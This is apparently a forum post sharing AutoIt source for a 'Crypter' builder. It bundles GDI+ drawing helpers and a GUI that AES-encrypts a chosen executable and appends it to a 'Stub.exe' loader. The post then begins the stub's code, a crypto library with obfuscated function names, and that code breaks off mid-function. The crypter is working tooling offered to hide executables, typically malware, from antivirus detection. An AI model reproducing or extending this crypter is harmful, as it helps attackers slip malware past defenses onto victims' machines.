Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawPieI", "handle", $hgraphics, "handle", $hpen, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "float", $fstartangle, "float", $fsweepangle)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawpolygon($hgraphics, $apoints, $hpen = 0)
Local $icount = $apoints[0][0]
Local $tpoints = DllStructCreate("long[" & $icount * 2 & "]")
For $ii = 1 To $icount
DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1)
DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2)
Next
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawPolygonI", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawrect($hgraphics, $ix, $iy, $iwidth, $iheight, $hpen = 0)
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawRectangleI", "handle", $hgraphics, "handle", $hpen, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawstring($hgraphics, $sstring, $nx, $ny, $sfont = "Arial", $nsize = 10, $iformat = 0)
Local $hbrush = _gdiplus_brushcreatesolid()
Local $hformat = _gdiplus_stringformatcreate($iformat)
Local $hfamily = _gdiplus_fontfamilycreate($sfont)
Local $hfont = _gdiplus_fontcreate($hfamily, $nsize)
Local $tlayout = _gdiplus_rectfcreate($nx, $ny, 0, 0)
Local $ainfo = _gdiplus_graphicsmeasurestring($hgraphics, $sstring, $hfont, $tlayout, $hformat)
Local $aresult = _gdiplus_graphicsdrawstringex($hgraphics, $sstring, $hfont, $ainfo[0], $hformat, $hbrush)
Local $ierror = @error
_gdiplus_fontdispose($hfont)
_gdiplus_fontfamilydispose($hfamily)
_gdiplus_stringformatdispose($hformat)
_gdiplus_brushdispose($hbrush)
Return SetError($ierror, 0, $aresult)
EndFunc
Func _gdiplus_graphicsdrawstringex($hgraphics, $sstring, $hfont, $tlayout, $hformat, $hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawString", "handle", $hgraphics, "wstr", $sstring, "int", -1, "handle", $hfont, "struct*", $tlayout, "handle", $hformat, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsfillclosedcurve($hgraphics, $apoints, $hbrush = 0)
Local $icount = $apoints[0][0]
Local $tpoints = DllStructCreate("long[" & $icount * 2 & "]")
For $ii = 1 To $icount
DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1)
DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2)
Next
__gdiplus_brushdefcreate($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipFillClosedCurveI", "handle", $hgraphics, "handle", $hbrush, "struct*", $tpoints, "int", $icount)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_brushdefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsfillellipse($hgraphics, $ix, $iy, $iwidth, $iheight, $hbrush = 0)
__gdiplus_brushdefcreate($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipFillEllipseI", "handle", $hgraphics, "handle", $hbrush, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_brushdefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsfillpie($hgraphics, $ix, $iy, $iwidth, $iheight, $fstartangle, $fsweepangle, $hbrush = 0)
__gdiplus_brushdefcreate($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipFillPieI", "handle", $hgraphics, "handle", $hbrush, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "float", $fstartangle, "float", $fsweepangle)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_brushdefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsfillpolygon($hgraphics, $apoints, $hbrush = 0)
Local $icount = $apoints[0][0]
Local $tpoints = DllStructCreate("long[" & $icount * 2 & "]")
For $ii = 1 To $icount
DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1)
DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2)
Next
__gdiplus_brushdefcreate($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipFillPolygonI", "handle", $hgraphics, "handle", $hbrush, "struct*", $tpoints, "int", $icount, "int", "FillModeAlternate")
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_brushdefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsfillrect($hgraphics, $ix, $iy, $iwidth, $iheight, $hbrush = 0)
__gdiplus_brushdefcreate($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipFillRectangleI", "handle", $hgraphics, "handle", $hbrush, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_brushdefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsgetdc($hgraphics)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetDC", "handle", $hgraphics, "ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_graphicsgetsmoothingmode($hgraphics)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetSmoothingMode", "handle", $hgraphics, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Switch $aresult[2]
Case 3
Return SetExtended($aresult[0], 1)
Case 7
Return SetExtended($aresult[0], 2)
Case Else
Return SetExtended($aresult[0], 0)
EndSwitch
EndFunc
Func _gdiplus_graphicsmeasurestring($hgraphics, $sstring, $hfont, $tlayout, $hformat)
Local $trectf = DllStructCreate($taggdiprectf)
Local $aresult = DllCall($ghgdipdll, "int", "GdipMeasureString", "handle", $hgraphics, "wstr", $sstring, "int", -1, "handle", $hfont, "struct*", $tlayout, "handle", $hformat, "struct*", $trectf, "int*", 0, "int*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $ainfo[3]
$ainfo[0] = $trectf
$ainfo[1] = $aresult[8]
$ainfo[2] = $aresult[9]
Return SetExtended($aresult[0], $ainfo)
EndFunc
Func _gdiplus_graphicsreleasedc($hgraphics, $hdc)
Local $aresult = DllCall($ghgdipdll, "int", "GdipReleaseDC", "handle", $hgraphics, "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_graphicssettransform($hgraphics, $hmatrix)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetWorldTransform", "handle", $hgraphics, "handle", $hmatrix)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicssetsmoothingmode($hgraphics, $ismooth)
If $ismooth < 0 OR $ismooth > 4 Then $ismooth = 0
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetSmoothingMode", "handle", $hgraphics, "int", $ismooth)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_imagedispose($himage)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $himage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_imagegetflags($himage)
Local $aflag[2] = [0, ""]
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 1, $aflag)
Local $aimageflags[13][2] = [["Pixel data Cacheable", $gdip_imageflags_caching], ["Pixel data read-only", $gdip_imageflags_readonly], ["Pixel size in image", $gdip_imageflags_hasrealpixelsize], ["DPI info in image", $gdip_imageflags_hasrealdpi], ["YCCK color space", $gdip_imageflags_colorspace_ycck], ["YCBCR color space", $gdip_imageflags_colorspace_ycbcr], ["Grayscale image", $gdip_imageflags_colorspace_gray], ["CMYK color space", $gdip_imageflags_colorspace_cmyk], ["RGB color space", $gdip_imageflags_colorspace_rgb], ["Partially scalable", $gdip_imageflags_partiallyscalable], ["Alpha values other than 0 (transparent) and 255 (opaque)", $gdip_imageflags_hastranslucent], ["Alpha values", $gdip_imageflags_hasalpha], ["Scalable", $gdip_imageflags_scalable]]
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageFlags", "handle", $himage, "long*", 0)
If @error Then Return SetError(@error, 2, $aflag)
If $aresult[2] = $gdip_imageflags_none Then
$aflag[1] = "No pixel data"
Return SetError($aresult[0], 3, $aflag)
EndIf
$aflag[0] = $aresult[2]
For $i = 0 To 12
If BitAND($aresult[2], $aimageflags[$i][1]) = $aimageflags[$i][1] Then
If StringLen($aflag[1]) Then $aflag[1] &= "|"
$aresult[2] -= $aimageflags[$i][1]
$aflag[1] &= $aimageflags[$i][0]
EndIf
Next
Return SetExtended($aresult[0], $aflag)
EndFunc
Func _gdiplus_imagegetgraphicscontext($himage)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageGraphicsContext", "handle", $himage, "ptr*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_imagegetheight($himage)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageHeight", "handle", $himage, "uint*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_imagegethorizontalresolution($himage)
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 1, 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageHorizontalResolution", "handle", $himage, "float*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], Round($aresult[2]))
EndFunc
Func _gdiplus_imagegetpixelformat($himage)
Local $aformat[2] = [0, ""]
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 1, $aformat)
Local $apixelformat[14][2] = [["1 Bpp Indexed", $gdip_pxf01indexed], ["4 Bpp Indexed", $gdip_pxf04indexed], ["8 Bpp Indexed", $gdip_pxf08indexed], ["16 Bpp Grayscale", $gdip_pxf16grayscale], ["16 Bpp RGB 555", $gdip_pxf16rgb555], ["16 Bpp RGB 565", $gdip_pxf16rgb565], ["16 Bpp ARGB 1555", $gdip_pxf16argb1555], ["24 Bpp RGB", $gdip_pxf24rgb], ["32 Bpp RGB", $gdip_pxf32rgb], ["32 Bpp ARGB", $gdip_pxf32argb], ["32 Bpp PARGB", $gdip_pxf32pargb], ["48 Bpp RGB", $gdip_pxf48rgb], ["64 Bpp ARGB", $gdip_pxf64argb], ["64 Bpp PARGB", $gdip_pxf64pargb]]
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImagePixelFormat", "handle", $himage, "int*", 0)
If @error Then Return SetError(@error, @extended, $aformat)
For $i = 0 To 13
If $apixelformat[$i][1] = $aresult[2] Then
$aformat[0] = $apixelformat[$i][1]
$aformat[1] = $apixelformat[$i][0]
Return SetExtended($aresult[0], $aformat)
EndIf
Next
Return SetExtended($aresult[0], $aformat)
EndFunc
Func _gdiplus_imagegetrawformat($himage)
Local $aguid[2]
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 1, $aguid)
Local $aimagetype[11][2] = [["UNDEFINED", $gdip_imageformat_undefined], ["MEMORYBMP", $gdip_imageformat_memorybmp], ["BMP", $gdip_imageformat_bmp], ["EMF", $gdip_imageformat_emf], ["WMF", $gdip_imageformat_wmf], ["JPEG", $gdip_imageformat_jpeg], ["PNG", $gdip_imageformat_png], ["GIF", $gdip_imageformat_gif], ["TIFF", $gdip_imageformat_tiff], ["EXIF", $gdip_imageformat_exif], ["ICON", $gdip_imageformat_icon]]
Local $tstruct = DllStructCreate("byte[16]")
Local $aresult1 = DllCall($ghgdipdll, "int", "GdipGetImageRawFormat", "handle", $himage, "struct*", $tstruct)
If @error Then Return SetError(@error, @extended, $aguid)
If (NOT IsArray($aresult1)) Then Return SetError(1, 3, $aguid)
Local $sresult2 = _winapi_stringfromguid($aresult1[2])
If @error Then Return SetError(@error, 4, $aguid)
For $i = 0 To 10
If $aimagetype[$i][1] == $sresult2 Then
$aguid[0] = $aimagetype[$i][1]
$aguid[1] = $aimagetype[$i][0]
Return SetExtended($aresult1[0], $aguid)
EndIf
Next
Return SetError(-1, 5, $aguid)
EndFunc
Func _gdiplus_imagegettype($himage)
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 0, -1)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageType", "handle", $himage, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_imagegetverticalresolution($himage)
If ($himage = -1) OR (NOT $himage) Then Return SetError(10, 0, 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageVerticalResolution", "handle", $himage, "float*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], Round($aresult[2]))
EndFunc
Func _gdiplus_imagegetwidth($himage)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageWidth", "handle", $himage, "uint*", -1)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_imageloadfromfile($sfilename)
Local $aresult = DllCall($ghgdipdll, "int", "GdipLoadImageFromFile", "wstr", $sfilename, "ptr*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_imagesavetofile($himage, $sfilename)
Local $sext = __gdiplus_extractfileext($sfilename)
Local $sclsid = _gdiplus_encodersgetclsid($sext)
If $sclsid = "" Then Return SetError(-1, 0, False)
Return _gdiplus_imagesavetofileex($himage, $sfilename, $sclsid, 0)
EndFunc
Func _gdiplus_imagesavetofileex($himage, $sfilename, $sencoder, $pparams = 0)
Local $tguid = _winapi_guidfromstring($sencoder)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSaveImageToFile", "handle", $himage, "wstr", $sfilename, "struct*", $tguid, "struct*", $pparams)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_matrixcreate()
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateMatrix", "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[1])
EndFunc
Func _gdiplus_matrixdispose($hmatrix)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteMatrix", "handle", $hmatrix)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_matrixrotate($hmatrix, $fangle, $bappend = False)
Local $aresult = DllCall($ghgdipdll, "int", "GdipRotateMatrix", "handle", $hmatrix, "float", $fangle, "int", $bappend)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_matrixscale($hmatrix, $fscalex, $fscaley, $border = False)
Local $aresult = DllCall($ghgdipdll, "int", "GdipScaleMatrix", "handle", $hmatrix, "float", $fscalex, "float", $fscaley, "int", $border)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_matrixtranslate($hmatrix, $foffsetx, $foffsety, $bappend = False)
Local $aresult = DllCall($ghgdipdll, "int", "GdipTranslateMatrix", "handle", $hmatrix, "float", $foffsetx, "float", $foffsety, "int", $bappend)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_paramadd(ByRef $tparams, $sguid, $icount, $itype, $pvalues)
Local $tparam = DllStructCreate($taggdipencoderparam, DllStructGetPtr($tparams, "Params") + (DllStructGetData($tparams, "Count") * 28))
_winapi_guidfromstringex($sguid, DllStructGetPtr($tparam, "GUID"))
DllStructSetData($tparam, "Type", $itype)
DllStructSetData($tparam, "Count", $icount)
DllStructSetData($tparam, "Values", $pvalues)
DllStructSetData($tparams, "Count", DllStructGetData($tparams, "Count") + 1)
EndFunc
Func _gdiplus_paraminit($icount)
If $icount <= 0 Then Return SetError(-1, -1, 0)
Return DllStructCreate("dword Count;byte Params[" & $icount * 28 & "]")
EndFunc
Func _gdiplus_pencreate($iargb = -16777216, $fwidth = 1, $iunit = 2)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreatePen1", "dword", $iargb, "float", $fwidth, "int", $iunit, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[4])
EndFunc
Func _gdiplus_pendispose($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeletePen", "handle", $hpen)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pengetalignment($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenMode", "handle", $hpen, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetcolor($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenColor", "handle", $hpen, "dword*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetcustomendcap($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenCustomEndCap", "handle", $hpen, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetdashcap($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenDashCap197819", "handle", $hpen, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetdashstyle($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenDashStyle", "handle", $hpen, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetendcap($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenEndCap", "handle", $hpen, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pengetwidth($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetPenWidth", "handle", $hpen, "float*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_pensetalignment($hpen, $ialignment = 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenMode", "handle", $hpen, "int", $ialignment)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetcolor($hpen, $iargb)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenColor", "handle", $hpen, "dword", $iargb)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetdashcap($hpen, $idash = 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenDashCap197819", "handle", $hpen, "int", $idash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetcustomendcap($hpen, $hendcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenCustomEndCap", "handle", $hpen, "handle", $hendcap)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetdashstyle($hpen, $istyle = 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenDashStyle", "handle", $hpen, "int", $istyle)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetendcap($hpen, $iendcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenEndCap", "handle", $hpen, "int", $iendcap)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_pensetwidth($hpen, $fwidth)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetPenWidth", "handle", $hpen, "float", $fwidth)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_rectfcreate($nx = 0, $ny = 0, $nwidth = 0, $nheight = 0)
Local $trectf = DllStructCreate($taggdiprectf)
DllStructSetData($trectf, "X", $nx)
DllStructSetData($trectf, "Y", $ny)
DllStructSetData($trectf, "Width", $nwidth)
DllStructSetData($trectf, "Height", $nheight)
Return $trectf
EndFunc
Func _gdiplus_shutdown()
If $ghgdipdll = 0 Then Return SetError(-1, -1, False)
$gigdipref -= 1
If $gigdipref = 0 Then
DllCall($ghgdipdll, "none", "GdiplusShutdown", "ptr", $gigdiptoken)
DllClose($ghgdipdll)
$ghgdipdll = 0
EndIf
Return True
EndFunc
Func _gdiplus_startup()
$gigdipref += 1
If $gigdipref > 1 Then Return True
$ghgdipdll = DllOpen("GDIPlus.dll")
If $ghgdipdll = -1 Then
$gigdipref = 0
Return SetError(1, 2, False)
EndIf
Local $tinput = DllStructCreate($taggdipstartupinput)
Local $ttoken = DllStructCreate("ulong_ptr Data")
DllStructSetData($tinput, "Version", 1)
Local $aresult = DllCall($ghgdipdll, "int", "GdiplusStartup", "struct*", $ttoken, "struct*", $tinput, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
$gigdiptoken = DllStructGetData($ttoken, "Data")
Return $aresult[0] = 0
EndFunc
Func _gdiplus_stringformatcreate($iformat = 0, $ilangid = 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateStringFormat", "int", $iformat, "word", $ilangid, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _gdiplus_stringformatdispose($hformat)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteStringFormat", "handle", $hformat)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_stringformatsetalign($hstringformat, $iflag)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetStringFormatAlign", "handle", $hstringformat, "int", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0] = 0
EndFunc
Func __gdiplus_brushdefcreate(ByRef $hbrush)
If $hbrush = 0 Then
$ghgdipbrush = _gdiplus_brushcreatesolid()
$hbrush = $ghgdipbrush
EndIf
EndFunc
Func __gdiplus_brushdefdispose()
If $ghgdipbrush <> 0 Then
_gdiplus_brushdispose($ghgdipbrush)
$ghgdipbrush = 0
EndIf
EndFunc
Func __gdiplus_extractfileext($sfilename, $fnodot = True)
Local $iindex = __gdiplus_lastdelimiter(".\:", $sfilename)
If ($iindex > 0) AND (StringMid($sfilename, $iindex, 1) = ".") Then
If $fnodot Then
Return StringMid($sfilename, $iindex + 1)
Else
Return StringMid($sfilename, $iindex)
EndIf
Else
Return ""
EndIf
EndFunc
Func __gdiplus_lastdelimiter($sdelimiters, $sstring)
Local $sdelimiter, $in
For $ii = 1 To StringLen($sdelimiters)
$sdelimiter = StringMid($sdelimiters, $ii, 1)
$in = StringInStr($sstring, $sdelimiter, 0, -1)
If $in > 0 Then Return $in
Next
EndFunc
Func __gdiplus_pendefcreate(ByRef $hpen)
If $hpen = 0 Then
$ghgdippen = _gdiplus_pencreate()
$hpen = $ghgdippen
EndIf
EndFunc
Func __gdiplus_pendefdispose()
If $ghgdippen <> 0 Then
_gdiplus_pendispose($ghgdippen)
$ghgdippen = 0
EndIf
EndFunc
Opt("GUIOnEventMode", 1)
$color1 = 592137
$color2 = 16711680
$color3 = 6908265
$hwnd = GUICreate("Crypter", 600, 385, 200, 200, $ws_popup)
_gdiplus_startup()
$himage = _gdiplus_imageloadfromfile("logo.png")
$hgraphic = _gdiplus_graphicscreatefromhwnd($hwnd)
GUIRegisterMsg($wm_paint, "MY_WM_PAINT")
_guiroundcorners_lite($hwnd, 50)
$header = GUICtrlCreateLabel("CRYPTER", 200, 30, 200, 30)
$about = GUICtrlCreateLabel("Made By : Solixious", 450, 360, 125, 250)
$hlab1 = GUICtrlCreateLabel("Input File", 30, 200, 100, 25)
$hinp1 = GUICtrlCreateInput("", 130, 200, 300, 25)
$hbut1 = GUICtrlCreateButton("Browse", 450, 200, 100, 25)
$hlab2 = GUICtrlCreateLabel("Output File", 30, 240, 100, 25)
$hinp2 = GUICtrlCreateInput("", 130, 240, 300, 25)
$hbut2 = GUICtrlCreateButton("Browse", 450, 240, 100, 25)
$hbut3 = GUICtrlCreateButton("Encrypt", 130, 290, 100, 25)
$hbut4 = GUICtrlCreateButton("Exit", 250, 290, 100, 25)
GUISetOnEvent($gui_event_close, "quit")
GUICtrlSetOnEvent($hbut4, "quit")
GUICtrlSetOnEvent($hbut1, "browse1")
GUICtrlSetOnEvent($hbut2, "browse2")
GUICtrlSetOnEvent($hbut3, "encryptfile")
init()
GUISetState(@SW_SHOW, $hwnd)
While 1
WEnd
Func init()
GUISetBkColor($color1, $hwnd)
GUICtrlSetColor($header, $color2)
GUICtrlSetColor($about, $color2)
GUICtrlSetColor($hlab1, $color2)
GUICtrlSetColor($hlab2, $color2)
GUICtrlSetBkColor($hinp1, $color1)
GUICtrlSetBkColor($hinp2, $color1)
GUICtrlSetColor($hinp1, $color2)
GUICtrlSetColor($hinp2, $color2)
GUICtrlSetBkColor($hbut1, $color2)
GUICtrlSetBkColor($hbut2, $color2)
GUICtrlSetBkColor($hbut3, $color2)
GUICtrlSetBkColor($hbut4, $color2)
GUICtrlSetFont($header, 25, 1800)
GUICtrlSetFont($hlab1, 15)
GUICtrlSetFont($hlab2, 15)
GUICtrlSetFont($hinp1, 15)
GUICtrlSetFont($hinp2, 15)
GUICtrlSetFont($hbut1, 12)
GUICtrlSetFont($hbut2, 12)
GUICtrlSetFont($hbut3, 12)
GUICtrlSetFont($hbut4, 12)
EndFunc
Func my_wm_paint($hwnd, $msg, $wparam, $lparam)
#forceref $hwnd, $msg, $wparam, $lparam
_winapi_redrawwindow($hwnd, 0, 0, $rdw_updatenow)
_gdiplus_graphicsdrawimage($hgraphic, $himage, 0, 0)
_winapi_redrawwindow($hwnd, 0, 0, $rdw_validate)
Return $gui_rundefmsg
EndFunc
Func quit()
_gdiplus_graphicsdispose($hgraphic)
_gdiplus_imagedispose($himage)
_gdiplus_shutdown()
Exit
EndFunc
Func browse1()
$filepath = FileOpenDialog("Input File", @MyDocumentsDir, "All Files (*.*)", 1, "", $hwnd)
If $filepath <> "" Then
GUICtrlSetData($hinp1, $filepath)
EndIf
EndFunc
Func browse2()
$filepath = FileSaveDialog("Output File", @MyDocumentsDir, "Executable Files (*.exe)", 16, "", $hwnd)
If $filepath <> "" Then
GUICtrlSetData($hinp2, $filepath & ".exe")
EndIf
EndFunc
Func encryptfile()
$path1 = GUICtrlRead($hinp1)
$path2 = GUICtrlRead($hinp2)
If FileExists($path1) Then
$marker = StringToBinary("SOLIXIOUS")
$output = FileOpen($path2, 2 + 8 + 16)
$inputx1 = FileOpen($path1, 0 + 16)
$data1 = FileRead($inputx1)
$stub = FileOpen(@ScriptDir & "\Stub.exe", 0 + 16)
$stubdata = FileRead($stub)
FileWrite($output, $stubdata)
FileWrite($output, $marker)
$data1 = encrypt(BinaryToString($data1))
FileWrite($output, StringToBinary($data1))
FileClose($output)
FileClose($inputx1)
GUICtrlSetData($hinp1, "")
GUICtrlSetData($hinp2, "")
EndIf
EndFunc
Func encrypt($data)
$data = _asklchuxzasduhuczxyiasyugcxzua_encryptdata($data, "SOLIXIOUS", $calg_aes_256)
Return $data
EndFunc
Stub :
[HIDE-THANKS]
Code:
>Global Const $prov_rsa_full = 1
Global Const $prov_rsa_aes = 24
Global Const $crypt_verifycontext = -268435456
Global Const $hp_hashsize = 4
Global Const $hp_hashval = 2
Global Const $crypt_exportable = 1
Global Const $crypt_userdata = 1
Global Const $calg_md2 = 32769
Global Const $calg_md4 = 32770
Global Const $calg_md5 = 32771
Global Const $calg_sha1 = 32772
Global Const $calg_3des = 26115
Global Const $calg_aes_128 = 26126
Global Const $calg_aes_192 = 26127
Global Const $calg_aes_256 = 26128
Global Const $calg_des = 26113
Global Const $calg_rc2 = 26114
Global Const $calg_rc4 = 26625
Global Const $calg_userkey = 0
Global $__g_acryptinternaldata[3]
Func _asklchuxzasduhuczxyiasyugcxzua_startup()
If __asklchuxzasduhuczxyiasyugcxzua_refcount() = 0 Then
Local $hadvapi32 = DllOpen("Advapi32.dll")
If @error Then Return SetError(1, 0, False)
__asklchuxzasduhuczxyiasyugcxzua_dllhandleset($hadvapi32)
Local $aret
Local $iproviderid = $prov_rsa_aes
If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
If @error OR NOT $aret[0] Then
